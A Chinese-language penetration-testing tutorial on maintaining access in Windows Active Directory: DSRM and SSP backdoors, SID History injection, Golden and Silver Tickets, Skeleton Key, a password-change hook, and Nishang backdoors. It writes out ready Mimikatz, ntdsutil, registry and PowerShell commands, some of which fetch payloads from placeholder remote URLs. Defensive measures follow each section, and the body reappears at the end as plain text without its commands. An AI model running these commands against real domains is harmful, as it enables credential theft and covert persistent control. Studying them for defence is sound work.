内网渗透基石篇--权限维持分析(下)
字数 1670 2025-08-13 21:33:25

内网渗透权限维持技术详解

一、DSRM域后门技术

1. DSRM简介

DSRM(目录服务恢复模式)是Windows域控制器的安全模式启动选项,每个域控制器都有一个本地DSRM账户。其主要用途是在域环境出现故障时还原、修复活动目录数据库。

2. DSRM后门利用方法

修改DSRM密码步骤:

  1. 在DC上运行ntdsutil工具
  2. 执行命令序列:
    ntdsutil
    set dsrm password
    reset password on server null
    <输入新密码>
    q
    q
    

同步DSRM密码为域账号密码(需Windows Server 2008及以上):

ntdsutil
set dsrm password
sync from domain account domainusername
q
q

修改DSRM登录方式注册表键值:

路径:HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehavior

  • 0:仅DSRM模式可使用(默认)
  • 1:AD DS服务停止时可用
  • 2:始终可用(推荐攻击设置)

PowerShell设置命令:

New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DSRMAdminLogonBehavior" -Value 2 -PropertyType DWORD

使用DSRM远程登录:

privilege::debug
sekurlsa::pth /domain:domainname /user:username /ntlm:ntlmhash

3. 防御措施

  1. 定期检查注册表HKLM:\system\currentcontrolset\control\lsa\中DSRM相关键值
  2. 定期修改所有域控制器的DSRM账号密码
  3. 监控4794事件日志(记录DSRM密码修改)

二、SSP维持域控权限

1. SSP/SSPI原理

SSP(安全支持提供程序)是Windows身份认证机制的DLL组件,SSPI是其API接口。通过向LSASS进程注入恶意SSP DLL可获取明文凭据。

2. 利用方法

使用Mimikatz内存注入:

privilege::debug
misc::memssp

密码将记录在C:\Windows\System32\mimilsa.log

持久化SSP注入步骤:

  1. 将mimilib.dll复制到C:\windows\system32
  2. 修改注册表:
    • 路径:HKLM\System\CurrentControlSet\Control\Lsa\Security Packages
    • 添加值:mimilib.dll
  3. 重启系统后生成kiwissp.log记录凭据

3. 防御措施

  1. 监控system32目录下可疑DLL
  2. 检查注册表Security Packages
  3. 限制LSASS进程的内存操作权限

三、SID History域后门

1. SID History原理

SID用于标识用户权限,迁移用户时SID History属性保留原始SID以维持资源访问权限。

2. 利用方法

将域管理员SID添加到普通用户SID History属性:

sid::patch
sid::add /sam:targetuser /new:administrator

3. 防御措施

  1. 监控域用户SID History异常修改
  2. 限制域管理员操作SID History权限

四、票据攻击技术

1. 黄金票据(Golden Ticket)

攻击条件:

  • 域名
  • 域SID
  • krbtgt的NTLM Hash/AES-256
  • 要伪造的用户名

攻击步骤:

  1. 获取krbtgt hash:
    lsadump::dcsync /domain:domain /user:krbtgt
    
  2. 生成黄金票据:
    kerberos::golden /admin:Administrator /domain:domain /sid:S-1-5-21-... /krbtgt:hash /ticket:gold.kiribi
    
  3. 导入票据:
    kerberos::ptt gold.kiribi
    

防御措施:

  1. 定期重置krbtgt密码(需重置两次)
  2. 监控异常Kerberos票据请求

2. 白银票据(Silver Ticket)

与黄金票据区别:

  • 伪造TGS而非TGT
  • 需要服务账号hash而非krbtgt
  • 不经过KDC,更难检测

攻击步骤:

  1. 获取服务账号hash
  2. 生成白银票据:
    kerberos::golden /domain:domain /sid:SID /target:server /service:service /rc4:hash /user:user /ptt
    

防御措施:

  1. 定期重置服务账号密码
  2. 启用Kerberos审计

五、其他权限维持技术

1. Skeleton Key(万能密码)

misc::skeleton

设置万能密码"mimikatz"后可使用该密码认证任何账户

2. Hook PasswordChangeNotify

通过Hook密码更改通知获取新密码明文

攻击步骤:

Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

密码将记录在C:\windows\temp\passwords.txt

3. Nishang脚本后门

HTTP-Backdoor:

HTTP-Backdoor -CheckURL http://... -PayloadURL http://... -MagicString start -StopString stop

屏幕保护后门:

Add-ScrnSaveBackdoor -Payload "powershell -nop -exec bypass -c ..."

定时执行后门:

Execute-OnTime -PayloadURL http://... -Time 23:21

ADS流后门:

Invoke-ADSBackdoor -PayloadURL http://...

六、综合防御建议

  1. 定期检查域控制器异常进程和注册表
  2. 实施严格的权限最小化原则
  3. 启用详细日志记录和监控
  4. 定期轮换关键账号密码(特别是krbtgt)
  5. 限制PowerShell执行权限
  6. 部署终端检测与响应(EDR)解决方案
  7. 定期进行安全审计和渗透测试
内网渗透权限维持技术详解 一、DSRM域后门技术 1. DSRM简介 DSRM(目录服务恢复模式)是Windows域控制器的安全模式启动选项,每个域控制器都有一个本地DSRM账户。其主要用途是在域环境出现故障时还原、修复活动目录数据库。 2. DSRM后门利用方法 修改DSRM密码步骤: 在DC上运行ntdsutil工具 执行命令序列: 同步DSRM密码为域账号密码(需Windows Server 2008及以上): 修改DSRM登录方式注册表键值: 路径: HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehavior 0:仅DSRM模式可使用(默认) 1:AD DS服务停止时可用 2:始终可用(推荐攻击设置) PowerShell设置命令: 使用DSRM远程登录: 3. 防御措施 定期检查注册表 HKLM:\system\currentcontrolset\control\lsa\ 中DSRM相关键值 定期修改所有域控制器的DSRM账号密码 监控4794事件日志(记录DSRM密码修改) 二、SSP维持域控权限 1. SSP/SSPI原理 SSP(安全支持提供程序)是Windows身份认证机制的DLL组件,SSPI是其API接口。通过向LSASS进程注入恶意SSP DLL可获取明文凭据。 2. 利用方法 使用Mimikatz内存注入: 密码将记录在 C:\Windows\System32\mimilsa.log 持久化SSP注入步骤: 将mimilib.dll复制到 C:\windows\system32 修改注册表: 路径: HKLM\System\CurrentControlSet\Control\Lsa\Security Packages 添加值: mimilib.dll 重启系统后生成 kiwissp.log 记录凭据 3. 防御措施 监控system32目录下可疑DLL 检查注册表 Security Packages 项 限制LSASS进程的内存操作权限 三、SID History域后门 1. SID History原理 SID用于标识用户权限,迁移用户时SID History属性保留原始SID以维持资源访问权限。 2. 利用方法 将域管理员SID添加到普通用户SID History属性: 3. 防御措施 监控域用户SID History异常修改 限制域管理员操作SID History权限 四、票据攻击技术 1. 黄金票据(Golden Ticket) 攻击条件: 域名 域SID krbtgt的NTLM Hash/AES-256 要伪造的用户名 攻击步骤: 获取krbtgt hash: 生成黄金票据: 导入票据: 防御措施: 定期重置krbtgt密码(需重置两次) 监控异常Kerberos票据请求 2. 白银票据(Silver Ticket) 与黄金票据区别: 伪造TGS而非TGT 需要服务账号hash而非krbtgt 不经过KDC,更难检测 攻击步骤: 获取服务账号hash 生成白银票据: 防御措施: 定期重置服务账号密码 启用Kerberos审计 五、其他权限维持技术 1. Skeleton Key(万能密码) 设置万能密码"mimikatz"后可使用该密码认证任何账户 2. Hook PasswordChangeNotify 通过Hook密码更改通知获取新密码明文 攻击步骤: 密码将记录在 C:\windows\temp\passwords.txt 3. Nishang脚本后门 HTTP-Backdoor: 屏幕保护后门: 定时执行后门: ADS流后门: 六、综合防御建议 定期检查域控制器异常进程和注册表 实施严格的权限最小化原则 启用详细日志记录和监控 定期轮换关键账号密码(特别是krbtgt) 限制PowerShell执行权限 部署终端检测与响应(EDR)解决方案 定期进行安全审计和渗透测试